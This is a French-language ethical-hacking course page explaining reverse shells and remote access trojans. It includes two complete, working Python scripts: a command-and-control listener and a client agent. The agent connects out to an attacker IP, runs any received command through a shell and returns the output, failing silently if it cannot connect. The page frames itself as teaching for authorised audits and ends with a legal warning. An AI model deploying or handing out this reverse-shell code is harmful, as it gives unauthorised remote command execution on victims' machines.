Volume 9 : Hacking Éthique Python : Sockets, Trojan RAT, Reverse Shell & MITM/Module 1 : Sockets Purs, Architecture de RAT & Reverse Shells
Développement d'un Reverse Shell en Sockets Purs (Python)
Architecture d'un Reverse Shell en Python Pur (Sockets & Subprocess)
Issu des Chapitres 6 et 7 de Python Hacking Éthique, ce cours expose la mécanique fondamentale des chevaux de Troie d'accès distant (Remote Access Trojans - RAT) et des Reverse Shells.
---
1. Bind Shell vs Reverse Shell : Pourquoi le Reverse Shell ?
* Bind Shell (Connexion Entrante) : La machine compromise ouvre un port d'écoute (ex: port 4444). L'attaquant doit s'y connecter directement. Problème :* Dans 99% des cas, le routeur NAT et le pare-feu du réseau de l'entreprise bloquent toutes les connexions entrantes directes. * Reverse Shell (Connexion Sortante) : L'attaquant configure un serveur d'écoute sur sa propre machine publique. C'est la machine compromise qui initie la connexion sortante vers l'attaquant (souvent sur le port 443 ou 80). Avantage tactique :* Les pare-feux autorisent généralement le trafic sortant vers les ports Web usuels. Le NAT est automatiquement traversé !
``
[ POSTE VICTIME COMPROMIS ] [ SERVEUR DE CONTRÔLE KALI ]
(Derrière un pare-feu NAT strict) (IP Publique ou Port Forwardé)
| |
| === 1. Connexion TCP sortante (Port 443) ======> | (En écoute : socket.bind)
| |
| <== 2. Envoi d'une commande shell ("whoami") === |
| |
Exécution locale : |
subprocess.check_output() |
| |
| === 3. Renvoi de la sortie ("nt authority\system") =>|
`
---
2. Le Serveur d'Écoute de l'Auditeur (
serveur_c2.py)
Ce script s'exécute sur la machine de l'auditeur. Il attend la connexion entrante du poste cible et fournit un prompt de commande interactif :
`python
import socket
def lancer_serveur_ecoute(hote: str = "0.0.0.0", port: int = 4444):
serveur = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Permet de réutiliser immédiatement l'adresse après fermeture
serveur.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serveur.bind((hote, port))
serveur.listen(1)
print(f"[*] Serveur d'écoute RayLab en attente sur {hote}:{port}...")
connexion, adresse_client = serveur.accept()
print(f"[+] Connexion reçue avec succès depuis : {adresse_client[0]}:{adresse_client[1]}")
with connexion:
while True:
commande = input("RayLab-Shell> ")
if not commande.strip():
continue
# Envoi de la commande encodée en octets
connexion.sendall(commande.encode("utf-8"))
if commande.strip().lower() == "exit":
print("[*] Fermeture de la session.")
break
# Réception du résultat de la commande
reponse = connexion.recv(8192).decode("utf-8", errors="replace")
print(reponse)
if __name__ == "__main__":
lancer_serveur_ecoute()
`
---
3. Le Client Reverse Shell sur le Poste Cible (
client_agent.py)
Ce script s'exécute sur la machine auditée. Il se connecte au serveur et exécute les commandes transmises à l'aide de subprocess et os :
`python
import socket
import subprocess
import os
IP_SERVEUR = "192.168.1.100" # Adresse de la machine attaquante
PORT_SERVEUR = 4444
def demarrer_agent():
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
client.connect((IP_SERVEUR, PORT_SERVEUR))
except Exception as e:
return # Échec de connexion silencieux
while True:
try:
commande = client.recv(4096).decode("utf-8")
if not commande or commande.strip().lower() == "exit":
break
# Gestion spéciale du changement de répertoire (cd)
if commande.startswith("cd "):
dossier = commande[3:].strip()
try:
os.chdir(dossier)
resultat = f"[+] Répertoire courant modifié : {os.getcwd()}\n"
except Exception as err:
resultat = f"[-] Erreur de navigation : {err}\n"
else:
# Exécution sécurisée avec capture conjointe de stdout et stderr
resultat = subprocess.check_output(
commande,
shell=True,
stderr=subprocess.STDOUT
).decode("utf-8", errors="replace")
client.sendall(resultat.encode("utf-8"))
except Exception as e:
client.sendall(f"[-] Erreur d'exécution : {e}\n".encode("utf-8"))
client.close()
if __name__ == "__main__":
demarrer_agent()
``> [!CAUTION] > Ce code est fourni à des fins strictement éducatives et pédagogiques dans le cadre de cours d'ingénierie logicielle et d'audit autorisé. Tout déploiement non autorisé sur un système tiers constitue une infraction pénale passible des peines prévues par l'article 323-1 du Code pénal.
Informations
Formatarticle
Durée55 min
StatutEn cours
Laboratoire Virtuel Pratique
Pratiquez cette le?on dans le Terminal Linux et l'ex?cuteur WebAssembly Python en direct.
Ouvrir dans le Labo >_